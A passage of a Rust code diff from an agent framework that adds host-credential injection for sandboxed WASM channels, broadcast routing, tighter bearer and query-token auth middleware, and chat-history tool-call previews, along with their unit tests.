capabilities: &ChannelCapabilities,
credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
) -> Result<Store<ChannelStoreData>, WasmChannelError> {
let engine = runtime.engine();
@@ -696,6 +890,7 @@ impl WasmChannel {
&prepared.name,
capabilities.clone(),
credentials,
host_credentials,
pairing_store,
);
let mut store = Store::new(engine, store_data);
@@ -738,8 +933,19 @@ impl WasmChannel {
Self::add_host_functions(&mut linker)?;
// Instantiate using the generated bindings
let instance = SandboxedChannel::instantiate(store, &component, &linker)
.map_err(|e| WasmChannelError::Instantiation(e.to_string()))?;
let instance = SandboxedChannel::instantiate(store, &component, &linker).map_err(|e| {
let msg = e.to_string();
if msg.contains("near:agent") || msg.contains("import") {
WasmChannelError::Instantiation(format!(
"{msg}. This may indicate a WIT version mismatch — \
the channel was compiled against a different WIT than the host supports \
(host WIT: {}). Rebuild the channel against the current WIT.",
crate::tools::wasm::WIT_CHANNEL_VERSION
))
} else {
WasmChannelError::Instantiation(msg)
}
})?;
Ok(instance)
}
@@ -806,6 +1012,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -817,6 +1026,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -942,6 +1152,9 @@ impl WasmChannel {
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let timeout = self.runtime.config().callback_timeout;
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -962,6 +1175,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1041,6 +1255,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -1052,6 +1269,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1142,6 +1360,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
// Prepare response data
@@ -1161,6 +1382,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
@@ -1255,6 +1477,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let wit_update = status_to_wit(status, metadata);
@@ -1266,6 +1491,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1312,6 +1538,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
timeout: Duration,
wit_update: wit_channel::StatusUpdate,
@@ -1333,6 +1560,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials_snapshot,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1414,6 +1642,13 @@ impl WasmChannel {
let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone();
let credentials = self.credentials.clone();
// Pre-resolve host credentials once for the lifetime of the repeater.
// Channels tokens rarely change, so a snapshot per-repeater is correct.
let repeater_host_credentials = resolve_channel_host_credentials(
&self.capabilities,
self.secrets_store.as_deref(),
)
.await;
let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout;
let wit_update = status_to_wit(&status, metadata);
@@ -1427,6 +1662,7 @@ impl WasmChannel {
interval.tick().await;
let wit_update_clone = clone_wit_status_update(&wit_update);
let hc = repeater_host_credentials.clone();
if let Err(e) = Self::execute_status(
&channel_name,
@@ -1434,6 +1670,7 @@ impl WasmChannel {
&prepared,
&capabilities,
&credentials,
hc,
pairing_store.clone(),
callback_timeout,
wit_update_clone,
@@ -1613,6 +1850,8 @@ impl WasmChannel {
// Parse metadata JSON
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&emitted.metadata_json).await;
}
// Send to stream
@@ -1649,13 +1888,17 @@ impl WasmChannel {
let channel_name = self.name.clone();
let runtime = Arc::clone(&self.runtime);
let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone();
let poll_capabilities = self.capabilities.clone();
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let message_tx = self.message_tx.clone();
let rate_limiter = self.rate_limiter.clone();
let credentials = self.credentials.clone();
let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout;
let workspace_store = self.workspace_store.clone();
let last_broadcast_metadata = self.last_broadcast_metadata.clone();
let settings_store = self.settings_store.clone();
let poll_secrets_store = self.secrets_store.clone();
tokio::spawn(async move {
let mut interval_timer = tokio::time::interval(interval);
@@ -1669,6 +1912,13 @@ impl WasmChannel {
"Polling tick - calling on_poll"
);
// Pre-resolve host credentials for this tick
let host_credentials = resolve_channel_host_credentials(
&poll_capabilities,
poll_secrets_store.as_deref(),
)
.await;
// Execute on_poll with fresh WASM instance
let result = Self::execute_poll(
&channel_name,
@@ -1676,6 +1926,7 @@ impl WasmChannel {
&prepared,
&capabilities,
&credentials,
host_credentials,
pairing_store.clone(),
callback_timeout,
&workspace_store,
@@ -1690,6 +1941,8 @@ impl WasmChannel {
emitted_messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
settings_store.as_ref(),
).await {
tracing::warn!(
channel = %channel_name,
@@ -1731,6 +1984,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
timeout: Duration,
workspace_store: &Arc<ChannelWorkspaceStore>,
@@ -1759,6 +2013,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials_snapshot,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1813,6 +2068,8 @@ impl WasmChannel {
messages: Vec<EmittedMessage>,
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
rate_limiter: &RwLock<ChannelEmitRateLimiter>,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) -> Result<(), WasmChannelError> {
tracing::info!(
channel = %channel_name,
@@ -1858,6 +2115,14 @@ impl WasmChannel {
// Parse metadata JSON
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
do_update_broadcast_metadata(
channel_name,
&emitted.metadata_json,
last_broadcast_metadata,
settings_store,
)
.await;
}
// Send to stream
@@ -1893,6 +2158,9 @@ impl Channel for WasmChannel {
}
async fn start(&self) -> Result<MessageStream, ChannelError> {
// Restore broadcast metadata from settings (survives restarts)
self.load_broadcast_metadata().await;
// Create message channel
let (tx, rx) = mpsc::channel(256);
*self.message_tx.write().await = Some(tx);
@@ -1982,6 +2250,8 @@ impl Channel for WasmChannel {
// The original metadata contains channel-specific routing info (e.g., Telegram chat_id)
// that the WASM channel needs to send the reply to the correct destination.
let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default();
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&metadata_json).await;
self.call_on_respond(
msg.id,
&response.content,
@@ -1997,6 +2267,34 @@ impl Channel for WasmChannel {
Ok(())
}
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let metadata_json = self
.last_broadcast_metadata
.read()
.await
.clone()
.ok_or_else(|| ChannelError::SendFailed {
name: self.name.clone(),
reason: "No messages received yet — no chat_id available for broadcast".into(),
})?;
self.call_on_respond(
uuid::Uuid::new_v4(),
&response.content,
response.thread_id.as_deref(),
&metadata_json,
)
.await
.map_err(|e| ChannelError::SendFailed {
name: self.name.clone(),
reason: e.to_string(),
})
}
async fn send_status(
&self,
status: StatusUpdate,
@@ -2101,6 +2399,14 @@ impl Channel for SharedWasmChannel {
self.inner.respond(msg, response).await
}
async fn broadcast(
&self,
user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
self.inner.broadcast(user_id, response).await
}
async fn send_status(
&self,
status: StatusUpdate,
@@ -2184,7 +2490,7 @@ fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_cha
message: format!("Tool started: {}", name),
metadata_json,
},
StatusUpdate::ToolCompleted { name, success } => wit_channel::StatusUpdate {
StatusUpdate::ToolCompleted { name, success, .. } => wit_channel::StatusUpdate {
status: wit_channel::StatusType::ToolCompleted,
message: format!(
"Tool completed: {} ({})",
@@ -2352,6 +2658,97 @@ impl HttpResponse {
}
}
/// Extract the hostname from a URL string.
///
/// Returns `None` for malformed URLs or non-HTTP(S) schemes.
fn extract_host_from_url(url: &str) -> Option<String> {
let parsed = url::Url::parse(url).ok()?;
if !matches!(parsed.scheme(), "http" | "https") {
return None;
}
parsed.host_str().map(|h| {
h.strip_prefix('[')
.and_then(|v| v.strip_suffix(']'))
.unwrap_or(h)
.to_lowercase()
})
}
/// Pre-resolve host credentials for all HTTP capability mappings.
///
/// Called once per callback (in async context, before spawn_blocking) so the
/// synchronous WASM host function can inject credentials without needing async
/// access to the secrets store.
///
/// Silently skips credentials that can't be resolved (e.g., missing secrets).
/// The channel will get a 401/403 from the API, which is the expected UX when
/// auth hasn't been configured yet.
async fn resolve_channel_host_credentials(
capabilities: &ChannelCapabilities,
store: Option<&(dyn SecretsStore + Send + Sync)>,
) -> Vec<ResolvedHostCredential> {
let store = match store {
Some(s) => s,
None => return Vec::new(),
};
let http_cap = match &capabilities.tool_capabilities.http {
Some(cap) => cap,
None => return Vec::new(),
};
if http_cap.credentials.is_empty() {
return Vec::new();
}
let mut resolved = Vec::new();
for mapping in http_cap.credentials.values() {
// Skip UrlPath credentials; they're handled by placeholder substitution
if matches!(
mapping.location,
crate::secrets::CredentialLocation::UrlPath { .. }
) {
continue;
}
let secret = match store.get_decrypted("default", &mapping.secret_name).await {
Ok(s) => s,
Err(e) => {
tracing::debug!(
secret_name = %mapping.secret_name,
error = %e,
"Could not resolve credential for WASM channel (auth may not be configured)"
);
continue;
}
};
let mut injected = InjectedCredentials::empty();
inject_credential(&mut injected, &mapping.location, &secret);
if injected.is_empty() {
continue;
}
resolved.push(ResolvedHostCredential {
host_patterns: mapping.host_patterns.clone(),
headers: injected.headers,
query_params: injected.query_params,
secret_value: secret.expose().to_string(),
});
}
if !resolved.is_empty() {
tracing::debug!(
count = resolved.len(),
"Pre-resolved host credentials for WASM channel execution"
);
}
resolved
}
#[cfg(test)]
mod tests {
use std::sync::Arc;
@@ -2384,6 +2781,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
)
}
@@ -2461,6 +2859,7 @@ mod tests {
&prepared,
&capabilities,
&credentials,
Vec::new(), // no host credentials in test
Arc::new(PairingStore::new()),
timeout,
&workspace_store,
@@ -2489,11 +2888,14 @@ mod tests {
EmittedMessage::new("user2", "Another message"),
];
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages(
"test-channel",
messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
None,
)
.await;
@@ -2527,11 +2929,14 @@ mod tests {
let messages = vec![EmittedMessage::new("user1", "Hello!")];
// Should return Ok even without a sender (logs warning but doesn't fail)
let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None));
let result = WasmChannel::dispatch_emitted_messages(
"test-channel",
messages,
&message_tx,
&rate_limiter,
&last_broadcast_metadata,
None,
)
.await;
@@ -2562,6 +2967,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
);
// Start the channel
@@ -2992,6 +3398,8 @@ mod tests {
&crate::channels::StatusUpdate::ToolCompleted {
name: "http_request".to_string(),
success: true,
error: None,
parameters: None,
},
&metadata,
);
@@ -3012,6 +3420,8 @@ mod tests {
&crate::channels::StatusUpdate::ToolCompleted {
name: "http_request".to_string(),
success: false,
error: Some("connection refused".to_string()),
parameters: None,
},
&metadata,
);
@@ -3309,6 +3719,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
creds,
Vec::new(),
Arc::new(PairingStore::new()),
);
@@ -3340,6 +3751,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
std::collections::HashMap::new(),
Vec::new(),
Arc::new(PairingStore::new()),
);
@@ -3347,6 +3759,50 @@ mod tests {
assert_eq!(store.redact_credentials(input), input);
}
#[test]
fn test_redact_credentials_url_encoded() {
use super::{ChannelStoreData, ResolvedHostCredential};
// Credential with characters that get URL-encoded
let mut creds = std::collections::HashMap::new();
creds.insert(
"API_KEY".to_string(),
"key with spaces&special=chars".to_string(),
);
let host_creds = vec![ResolvedHostCredential {
host_patterns: vec!["api.example.com".to_string()],
headers: std::collections::HashMap::new(),
query_params: std::collections::HashMap::new(),
secret_value: "host secret+value".to_string(),
}];
let store = ChannelStoreData::new(
1024 * 1024,
"test",
ChannelCapabilities::default(),
creds,
host_creds,
Arc::new(PairingStore::new()),
);
// Error containing URL-encoded form of the credential
let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue";
let redacted = store.redact_credentials(error);
assert!(
!redacted.contains("key%20with%20spaces"),
"URL-encoded credential should be redacted, got: {}",
redacted
);
assert!(
!redacted.contains("host%20secret%2Bvalue"),
"URL-encoded host credential should be redacted, got: {}",
redacted
);
}
#[test]
fn test_redact_credentials_skips_empty_values() {
use super::ChannelStoreData;
@@ -3359,6 +3815,7 @@ mod tests {
"test",
ChannelCapabilities::default(),
creds,
Vec::new(),
Arc::new(PairingStore::new()),
);
+260 -14
View File
@@ -2,7 +2,7 @@
use axum::{
extract::{Request, State},
http::{HeaderMap, StatusCode},
http::{HeaderMap, Method, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
};
@@ -14,34 +14,67 @@ pub struct AuthState {
pub token: String,
}
/// Whether query-string token auth is allowed for this request.
///
/// Only GET requests to streaming endpoints may use `?token=xxx`. This
/// minimizes token-in-URL exposure on state-changing routes, where the token
/// would leak via server logs, Referer headers, and browser history.
///
/// Allowed endpoints:
/// - SSE: `/api/chat/events`, `/api/logs/events` (EventSource can't set headers)
/// - WebSocket: `/api/chat/ws` (WS upgrade can't set custom headers)
///
/// If you add a new SSE or WebSocket endpoint, add its path here.
fn allows_query_token_auth(request: &Request) -> bool {
if request.method() != Method::GET {
return false;
}
matches!(
request.uri().path(),
"/api/chat/events" | "/api/logs/events" | "/api/chat/ws"
)
}
/// Extract the `token` query parameter value, URL-decoded.
fn query_token(request: &Request) -> Option<String> {
let query = request.uri().query()?;
url::form_urlencoded::parse(query.as_bytes()).find_map(|(k, v)| {
if k == "token" {
Some(v.into_owned())
} else {
None
}
})
}
/// Auth middleware that validates bearer token from header or query param.
///
/// SSE connections can't set headers from `EventSource`, so we also accept
/// `?token=xxx` as a query parameter.
/// `?token=xxx` as a query parameter, but only on SSE endpoints.
pub async fn auth_middleware(
State(auth): State<AuthState>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Try Authorization header first (constant-time comparison)
// Try Authorization header first (constant-time comparison).
// RFC 6750 Section 2.1: auth-scheme comparison is case-insensitive.
if let Some(auth_header) = headers.get("authorization")
&& let Ok(value) = auth_header.to_str()
&& let Some(token) = value.strip_prefix("Bearer ")
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
&& value.len() > 7
&& value[..7].eq_ignore_ascii_case("Bearer ")
&& bool::from(value.as_bytes()[7..].ct_eq(auth.token.as_bytes()))
{
return next.run(request).await;
}
// Fall back to query parameter for SSE EventSource (constant-time comparison)
if let Some(query) = request.uri().query() {
for pair in query.split('&') {
if let Some(token) = pair.strip_prefix("token=")
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
{
return next.run(request).await;
}
}
// Fall back to query parameter, but only for SSE endpoints (constant-time comparison).
if allows_query_token_auth(&request)
&& let Some(token) = query_token(&request)
&& bool::from(token.as_bytes().ct_eq(auth.token.as_bytes()))
{
return next.run(request).await;
}
(StatusCode::UNAUTHORIZED, "Invalid or missing auth token").into_response()
@@ -59,4 +92,217 @@ mod tests {
let cloned = state.clone();
assert_eq!(cloned.token, "test-token");
}
use axum::Router;
use axum::body::Body;
use axum::middleware;
use axum::routing::{get, post};
use tower::ServiceExt;
async fn dummy_handler() -> &'static str {
"ok"
}
/// Router with streaming endpoints (query auth allowed) and regular
/// endpoints (query auth rejected).
fn test_app(token: &str) -> Router {
let state = AuthState {
token: token.to_string(),
};
Router::new()
.route("/api/chat/events", get(dummy_handler))
.route("/api/logs/events", get(dummy_handler))
.route("/api/chat/ws", get(dummy_handler))
.route("/api/chat/history", get(dummy_handler))
.route("/api/chat/send", post(dummy_handler))
.layer(middleware::from_fn_with_state(state, auth_middleware))
}
#[tokio::test]
async fn test_valid_bearer_token_passes() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_invalid_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "Bearer wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_query_token_allowed_for_chat_events() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_token_allowed_for_logs_events() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/logs/events?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_token_allowed_for_ws_upgrade() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/ws?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_token_url_encoded() {
// Token with characters that get percent-encoded in URLs.
let raw_token = "tok+en/with spaces";
let app = test_app(raw_token);
let req = Request::builder()
.uri("/api/chat/events?token=tok%2Ben%2Fwith%20spaces")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_query_token_url_encoded_mismatch() {
let app = test_app("real-token");
// Encoded value decodes to "wrong-token", not "real-token".
let req = Request::builder()
.uri("/api/chat/events?token=wrong%2Dtoken")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_query_token_rejected_for_non_sse_get() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/history?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_query_token_rejected_for_post() {
let app = test_app("secret-token");
let req = Request::builder()
.method(Method::POST)
.uri("/api/chat/send?token=secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_query_token_invalid_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events?token=wrong-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_no_auth_at_all_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_bearer_header_works_for_post() {
let app = test_app("secret-token");
let req = Request::builder()
.method(Method::POST)
.uri("/api/chat/send")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_bearer_prefix_case_insensitive() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_bearer_prefix_mixed_case() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "BEARER secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::OK);
}
#[tokio::test]
async fn test_empty_bearer_token_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "Bearer ")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
#[tokio::test]
async fn test_token_with_whitespace_rejected() {
let app = test_app("secret-token");
let req = Request::builder()
.uri("/api/chat/events")
.header("Authorization", "Bearer secret-token")
.body(Body::empty())
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
}
}
+132 -49
View File
@@ -14,6 +14,7 @@ use uuid::Uuid;
use crate::channels::IncomingMessage;
use crate::channels::web::server::GatewayState;
use crate::channels::web::types::*;
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
pub async fn chat_send_handler(
State(state): State<Arc<GatewayState>>,
@@ -141,7 +142,7 @@ pub async fn chat_auth_token_handler(
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
if result.status == "authenticated" {
if result.is_authenticated() {
// Auto-activate so tools are available immediately
let msg = match ext_mgr.activate(&req.extension_name).await {
Ok(r) => format!(
@@ -169,13 +170,14 @@ pub async fn chat_auth_token_handler(
// Re-emit auth_required for retry
state.sse.broadcast(SseEvent::AuthRequired {
extension_name: req.extension_name.clone(),
instructions: result.instructions.clone(),
auth_url: result.auth_url.clone(),
setup_url: result.setup_url.clone(),
instructions: result.instructions().map(String::from),
auth_url: result.auth_url().map(String::from),
setup_url: result.setup_url().map(String::from),
});
Ok(Json(ActionResponse::fail(
result
.instructions
.instructions()
.map(String::from)
.unwrap_or_else(|| "Invalid token".to_string()),
)))
}
@@ -317,12 +319,13 @@ pub async fn chat_history_handler(
turns,
has_more,
oldest_timestamp,
pending_approval: None,
}));
}
// Try in-memory first (freshest data for active threads)
if let Some(thread) = sess.threads.get(&thread_id)
&& !thread.turns.is_empty()
&& (!thread.turns.is_empty() || thread.pending_approval.is_some())
{
let turns: Vec<TurnInfo> = thread
.turns
@@ -341,16 +344,35 @@ pub async fn chat_history_handler(
name: tc.name.clone(),
has_result: tc.result.is_some(),
has_error: tc.error.is_some(),
result_preview: tc.result.as_ref().map(|r| {
let s = match r {
serde_json::Value::String(s) => s.clone(),
other => other.to_string(),
};
truncate_preview(&s, 500)
}),
error: tc.error.clone(),
})
.collect(),
})
.collect();
let pending_approval = thread
.pending_approval
.as_ref()
.map(|pa| PendingApprovalInfo {
request_id: pa.request_id.to_string(),
tool_name: pa.tool_name.clone(),
description: pa.description.clone(),
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
});
return Ok(Json(HistoryResponse {
thread_id,
turns,
has_more: false,
oldest_timestamp: None,
pending_approval,
}));
}
@@ -369,6 +391,7 @@ pub async fn chat_history_handler(
turns,
has_more,
oldest_timestamp,
pending_approval: None,
}));
}
}
@@ -379,51 +402,10 @@ pub async fn chat_history_handler(
turns: Vec::new(),
has_more: false,
oldest_timestamp: None,
pending_approval: None,
}))
}
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
pub async fn chat_threads_handler(
State(state): State<Arc<GatewayState>>,
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
@@ -454,7 +436,7 @@ pub async fn chat_threads_handler(
let info = ThreadInfo {
id: s.id,
state: "Idle".to_string(),
turn_count: (s.message_count / 2).max(0) as usize,
turn_count: s.message_count.max(0) as usize,
created_at: s.started_at.to_rfc3339(),
updated_at: s.last_activity.to_rfc3339(),
title: s.title.clone(),
@@ -630,4 +612,105 @@ mod tests {
assert!(turns[1].response.is_none());
assert_eq!(turns[1].state, "Failed");
}
#[test]
fn test_build_turns_with_tool_calls() {
let now = chrono::Utc::now();
let tool_calls_json = serde_json::json!([
{"name": "shell", "result_preview": "file1.txt\nfile2.txt"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "List files".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: tool_calls_json.to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Here are the files".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert!(!turns[0].tool_calls[0].has_error);
assert_eq!(
turns[0].tool_calls[0].result_preview.as_deref(),
Some("file1.txt\nfile2.txt")
);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout"));
assert_eq!(turns[0].response.as_deref(), Some("Here are the files"));
assert_eq!(turns[0].state, "Completed");
}
#[test]
fn test_build_turns_with_malformed_tool_calls() {
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "tool_calls".to_string(),
content: "not valid json".to_string(),
created_at: now + chrono::TimeDelta::milliseconds(500),
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Done".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible_no_tool_calls() {
// Old threads without tool_calls messages still work
let now = chrono::Utc::now();
let messages = vec![
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "user".to_string(),
content: "Hello".to_string(),
created_at: now,
},
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: "assistant".to_string(),
content: "Hi!".to_string(),
created_at: now + chrono::TimeDelta::seconds(1),
},
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
}
}
+14 -8
View File
@@ -33,7 +33,7 @@ pub async fn extensions_list_handler(
"failed".to_string()
} else if !ext.authenticated {
"installed".to_string()
